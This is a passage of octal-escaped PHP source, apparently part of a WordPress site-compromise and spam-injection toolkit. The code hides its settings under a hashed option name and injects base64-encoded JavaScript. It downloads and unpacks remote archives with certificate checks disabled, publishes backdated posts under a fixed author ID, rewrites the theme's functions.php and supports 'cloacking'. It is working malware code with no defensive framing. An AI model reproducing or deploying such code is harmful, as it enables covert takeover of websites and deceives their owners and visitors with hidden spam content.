40=\040array();\012\012\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::getDbSettingsCustom();\012\012\012\040\040\040\040\040\040\040\040if\040($settings)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($settings\040as\040$userId\040=>\040$arr)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($arr['js'])\040&&\040$decodedJs\040=\040WritePostsWpHandler::detectBase64js($arr['js']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$settings[$userId]['js']\040=\040WritePostsWpHandler::parseJsScript($decodedJs);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'archivePath'\040=>\040str_replace('{DIR_NUM}',\040DIR_NUM,\040URL_WITH_ARCHIVES),\012\012\040\040\040\040\040\040\040\040\040\040\040\040'authorId'\040=>\040CUSTOM_AUTHOR_ID,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'cloacking'\040=>\040CLOACKING,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'homeLinks'\040=>\040(defined('HOME_LINKS'))\040?\040HOME_LINKS\040:\0400,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'homeLinksSettings'\040=>\040((defined('HOME_LINKS')\040&&\040(HOME_LINKS\040===\0401)))\040?\040$_SERVER['homeLinksSettings']\040:\040array(),\012\012\040\040\040\040\040\040\040\040\040\040\040\040'forceChangeHomeLinksOwner'\040=>\040defined('FORCE_CHANGE_HOME_LINKS_OWNER')\040?\040FORCE_CHANGE_HOME_LINKS_OWNER\040:\0400,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'internalLinking'\040=>\040INTERNAL_LINKING,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'externalLinking'\040=>\040EXTERNAL_LINKING,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'sitemapName'\040=>\040SITEMAP_NAME,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'jsConfig'\040=>\040WritePostsWpHandler::parseJsScript(JS_SOURCE),\012\012\040\040\040\040\040\040\040\040\040\040\040\040'usersSettings'\040=>\040$settings,\012\012\040\040\040\040\040\040\040\040);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040getDbSettingsCustom()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$settings\040=\040CustomDbHandler::getInstance()->getOption(WritePostsWpHandler::optionCustomFilters());\012\012\040\040\040\040\040\040\040\040$firstSettings\040=\040array();\012\012\040\040\040\040\040\040\040\040$secondSettings\040=\040array();\012\012\040\040\040\040\040\040\040\040if\040($settings)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//new\040settings\012\012\040\040\040\040\040\040\040\040\040\040\040\040$firstUnserialize\040=\040unserialize(base64_decode($settings['option_value']));\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($firstUnserialize['option_value']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//double\040unserialize\040fix\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$secondUnserialize\040=\040unserialize(base64_decode($firstUnserialize['option_value']));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($secondUnserialize)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$firstSettings\040=\040$secondUnserialize;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($firstUnserialize)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$firstSettings\040=\040$firstUnserialize;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$settings\040=\040CustomDbHandler::getInstance()->getOption('wp_custom_filters');\012\012\012\040\040\040\040\040\040\040\040if\040($settings)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//old\040settings\012\012\040\040\040\040\040\040\040\040\040\040\040\040$unserializedSettings\040=\040unserialize(base64_decode($settings['option_value']));\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($unserializedSettings)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$secondSettings\040=\040$unserializedSettings;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!writeSettingsDB!!!!!!!!!!!!!!!!!!!!!\012\012\012\040\040\040\040\040\040\040\040return\040$firstSettings\040+\040$secondSettings;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040optionCustomFilters()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040md5(sha1($_SERVER['HTTP_HOST']));\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040detectBase64js($string)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(preg_match('~data:text\134/javascript;base64,(.+?)\134">~s',\040$string,\040$matches))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040base64_decode($matches[1]);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040parseJsScript($string)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$results\040=\040array();\012\012\040\040\040\040\040\040\040\040preg_match('~hit;([^\134?]+)~',\040$string,\040$lirucounter);\012\012\012\040\040\040\040\040\040\040\040if\040(isset($lirucounter[1]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$results['lirucounter']\040=\040$lirucounter[1];\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040preg_match('~([^\134"\134.\134/]+\134.js)\134?ref~',\040$string,\040$route);\012\012\012\040\040\040\040\040\040\040\040if\040(isset($route[1]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$results['route']\040=\040$route[1];\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040preg_match('~src=.+?([^\134/\134"\134\134\134\134]+)~',\040$string,\040$domain);\012\012\012\040\040\040\040\040\040\040\040if\040(isset($domain[1]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$results['domain']\040=\040$domain[1];\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$results;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040removeHomeLinksCustom()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$optionsForDelete\040=\040CustomDbHandler::getInstance()->getOptionLike('home_links_custom_');\012\012\040\040\040\040\040\040\040\040$deletedOptionsCount\040=\0400;\012\012\040\040\040\040\040\040\040\040if\040(!empty($optionsForDelete))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($optionsForDelete\040as\040$optionsArr)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($optionsArr['option_name']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$deletedOptionsCount++;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->deleteOption($optionsArr['option_name']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('remove\040option\040name\040'\040.\040$optionsArr['option_name']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040$deletedOptionsCount;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040unzipSecondMethod()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$paths\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040TMPDIR\012\012\040\040\040\040\040\040\040\040);\012\012\040\040\040\040\040\040\040\040foreach\040($paths\040as\040$path)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$zipFiles\040=\040glob($path\040.\040DIRECTORY_SEPARATOR\040.\040'*.zip');\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!is_dir($path))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040mkdir($path,\0400755,\040true);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$zip\040=\040new\040ZipArchive();\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($zipFiles\040as\040$file)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($zip->open($file))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($zip->extractTo($path))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog("$file\040extracted");\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040unlink($file);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$zip->close();\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog("I\040cant\040open\040the\040archive\040$file");\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040file_put_contents(TMPDIR\040.\040'/unzipsuccess',\040'');\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040unzipFirstMethod()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$paths\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040TMPDIR\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists($unzipClassPath\040=\040WP_ROOT_DIR\040.\040'/wp-admin/includes/class-pclzip.php'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040include_once\040$unzipClassPath;\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040TODO\040not\040found\012\012\040\040\040\040\040\040\040\040\040\040\040\040include_once\040TMPDIR\040.\040'/header.php';\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040foreach\040($paths\040as\040$path)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$zipFiles\040=\040glob($path\040.\040DIRECTORY_SEPARATOR\040.\040'*.zip');\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040//fpcDebug(implode('::',\040$zipFiles));\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($zipFiles\040as\040$file)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$archive\040=\040new\040PclZip($file);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($archive->extract(PCLZIP_OPT_PATH,\040$path)\040==\0400)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog("Error\040:\040"\040.\040$archive->errorInfo(true));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040unzipped',\040$file));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040unlink($file);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040file_put_contents(TMPDIR\040.\040'/unzipsuccess',\040'');\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040uploadRangeOfFiles($url,\040$range,\040$extension,\040$dirname\040=\040'')\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040list\040($firstNum,\040$secondNum)\040=\040explode('-',\040$range);\012\012\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::makeDir($dirname))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception("dont\040create\040dirname\040-\040$dirname");\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040foreach\040(range($firstNum,\040$secondNum)\040as\040$num)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$filename\040=\040$num\040.\040$extension;\012\012\040\040\040\040\040\040\040\040\040\040\040\040$localPath\040=\040($dirname\040!==\040'')\040?\040$dirname\040.\040DIRECTORY_SEPARATOR\040.\040$filename\040:\040$filename;\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::checkArchiveBeforeUpload($localPath)\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040//WritePostsWpHandler::saveRemoteFileCurl($url\040.\040$filename,\040$localPath);\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::saveRemoteFileCurlMod($url\040.\040$filename,\040$localPath);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::checkArchiveAfterUpload($localPath)\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception("error\040checking\040file\040-\040$filename");\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040makeDir($dirname)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040($dirname\040!==\040'')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!is_dir($dirname))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(!mkdir($dirname,\0400777,\040true))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$GLOBALS['createdDirectories'][]\040=\040$dirname;\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkArchiveBeforeUpload($path)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('check\040path\040-\040%s',\040$path));\012\012\012\040\040\040\040\040\040\040\040$archiveMutex\040=\040dirname($path)\040.\040'/'\040.\040md5($path);\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists($archiveMutex))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('archive\040mutex\040exists\040\040-\040%s',\040$archiveMutex));\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(file_exists($path))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('archive\040exists\040\040-\040%s',\040$path));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('error\040check\040archive\040\040-\040%s',\040$path));\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040saveRemoteFileCurl($url,\040$localname)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$file\040=\040fopen('php://temp/maxmemory:0',\040'w+b');\012\012\012\040\040\040\040\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$url);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_FAILONERROR,\040true);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_FOLLOWLOCATION,\040true);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_RETURNTRANSFER,\040true);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_FILE,\040$file);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\04020);\012\012\040\040\040\040\040\040\040\040curl_exec($ch);\012\012\040\040\040\040\040\040\040\040curl_close($ch);\012\012\040\040\040\040\040\040\040\040rewind($file);\012\012\012\040\040\040\040\040\040\040\040file_put_contents($localname,\040stream_get_contents($file));\012\012\040\040\040\040\040\040\040\040fclose($file);\012\012\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog($localname\040.\040'\040-\040'\040.\040WritePostsWpHandler::filesizemb($localname)\040.\040'\040MB');\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040filesizemb($file)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040number_format(filesize($file)\040/\040pow(1024,\0402),\0403,\040'.',\040'');\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkArchiveAfterUpload($path)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(!file_exists($path))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('archive\040not\040found\040%s',\040$path));\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040clearstatcache();\012\012\012\040\040\040\040\040\040\040\040if\040(filesize($path)\040<\040pow(10,\0405))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('archive\040too\040small\040%s',\040$path));\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$mutexPath\040=\040dirname($path)\040.\040'/'\040.\040md5($path);\012\012\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('create\040mutex\040-\040\040%s',\040$mutexPath));\012\012\040\040\040\040\040\040\040\040file_put_contents($mutexPath,\040'');\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040saveRemoteFileCurlMod($url,\040$localname)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$file\040=\040fopen($localname,\040'w+');\012\012\012\040\040\040\040\040\040\040\040if\040($file\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040\134Exception('invalid\040open\040tmp\040file');\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040\040\040\040\040if\040($ch\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040fclose($file);\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040\134Exception('invalid\040init\040curl()');\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$url);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_FAILONERROR,\040true);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_FOLLOWLOCATION,\040true);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_FILE,\040$file);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_CONNECTTIMEOUT,\04030);\012\012\040\040\040\040\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\040120);\012\012\012\040\040\040\040\040\040\040\040$result\040=\040curl_exec($ch);\012\012\012\040\040\040\040\040\040\040\040if\040($result\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$error\040=\040curl_error($ch);\012\012\040\040\040\040\040\040\040\040\040\040\040\040curl_close($ch);\012\012\040\040\040\040\040\040\040\040\040\040\040\040fclose($file);\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040\040new\040\134Exception("Curl\040error:\040$error");\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$httpCode\040=\040curl_getinfo($ch,\040CURLINFO_HTTP_CODE);\012\012\040\040\040\040\040\040\040\040if\040($httpCode\040!=\040200)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040curl_close($ch);\012\012\040\040\040\040\040\040\040\040\040\040\040\040fclose($file);\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception("HTTP\040error:\040$httpCode");\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$contentLength\040=\040curl_getinfo($ch,\040CURLINFO_CONTENT_LENGTH_DOWNLOAD);\012\012\040\040\040\040\040\040\040\040curl_close($ch);\012\012\040\040\040\040\040\040\040\040fclose($file);\012\012\012\040\040\040\040\040\040\040\040$localFilzeSize\040=\040filesize($localname);\012\012\040\040\040\040\040\040\040\040if\040($contentLength\040>\0400\040&&\040($localFilzeSize\040!=\040$contentLength))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception("incomplete\040file:\040"\040.\040$localFilzeSize\040.\040"\040of\040$contentLength\040bytes");\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040contentParts($pageSource)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040preg_match_all('/\134[(TITLE|TEXT)\134](.+)\134[\134/(\1341)]/ius'\012\012\040\040\040\040\040\040\040\040\040\040\040\040,\040$pageSource,\040$kuski);\012\012\012\040\040\040\040\040\040\040\040if\040(!isset($kuski[2][0]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception('invalid\040title');\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040if\040(!isset($kuski[2][1]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception('invalid\040text');\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040//$title\040=\040mb_convert_encoding(trim($kuski[2][0]),\040'HTML-ENTITIES',\040"UTF-8");\012\012\040\040\040\040\040\040\040\040$title\040=\040WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][0]));\012\012\040\040\040\040\040\040\040\040$slug\040=\040WritePostsWpHandler::stringToSlug($kuski[2][0]);\012\012\040\040\040\040\040\040\040\040//$text\040=\040mb_convert_encoding(trim($kuski[2][1]),\040'HTML-ENTITIES',\040"UTF-8");\012\012\040\040\040\040\040\040\040\040$text\040=\040WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][1]));\012\012\012\040\040\040\040\040\040\040\040return\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'title'\040=>\040$title,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'text'\040=>\040$text,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'slug'\040=>\040$slug,\012\012\040\040\040\040\040\040\040\040);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mbConvertEncodingCustom($string)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$string\040=\040trim($string);\012\012\012\040\040\040\040\040\040\040\040if\040(!function_exists('mb_convert_encoding'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040htmlspecialchars_decode(htmlentities($string));\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040mb_convert_encoding($string,\040'HTML-ENTITIES',\040"UTF-8");\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040resultFormat($blogUrl,\040$postId,\040$title)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040rtrim($blogUrl,\040'/')\040.\040'/?p='\040.\040$postId\040.\040';'\040.\040$title;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040randDate()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$randDate\040=\040mktime(rand(1,\04011),\040rand(0,\04059),\040rand(0,\04059),\040date("m")\040+\040rand(1,\04012),\040date("d")\040+\040rand(1,\04020),\040date("Y")\040-\040rand(4,\0407));\012\012\040\040\040\040\040\040\040\040return\040date('Y-m-d\040H:i:s',\040$randDate);\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040deletePostsCurrentAuthor()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$userId\040=\040defined('CUSTOM_AUTHOR_ID')\040?\040CUSTOM_AUTHOR_ID\040:\0409999;\012\012\040\040\040\040\040\040\040\040if\040(!isset($users))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$users\040=\040array($userId);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->deletePosts($users);\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040deletePostsAllAuthors()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$userId\040=\040defined('CUSTOM_AUTHOR_ID')\040?\040CUSTOM_AUTHOR_ID\040:\0409999;\012\012\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::getDbSettingsCustom();\012\012\012\040\040\040\040\040\040\040\040if\040(!$settings)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('invalid\040get\040settings\040from\040db');\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$users\040=\040array_keys($settings);\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!in_array(9999,\040$users))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$users[]\040=\0409999;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(!isset($users))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$users\040=\040array($userId);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->deletePosts($users);\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040mbReplaceCustomFilters($functionsSource,\040$functionsPath,\040$sourceMod)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$optionCustom\040=\040WritePostsWpHandler::optionCustomFunctions();\012\012\040\040\040\040\040\040\040\040$customFiltersRegexp\040=\040'~/\134*\134s+custom\040filters\134s+\134*/(.+)/\134*\134s*custom\040filters\134s*\134*/~su';\012\012\040\040\040\040\040\040\040\040$customFiltersRegexpSec\040=\040"~/\134*\134s*$optionCustom\134s*\134*/(.+)/\134*\134s*$optionCustom\134s*\134*/~su";\012\012\012\040\040\040\040\040\040\040\040if\040(preg_match($customFiltersRegexp,\040$functionsSource,\040$matches))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::modify_functions_php($functionsPath,\040$sourceMod,\040TMPDIR,\040true))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('functions\040modified\040%s',\040$functionsPath));\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040preg_match($customFiltersRegexpSec,\040$sourceMod,\040$newSourceMatches);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$controlHash\040=\040md5(trim($newSourceMatches[1]));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->insertOrUpdate($optionCustom,\040$controlHash);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\0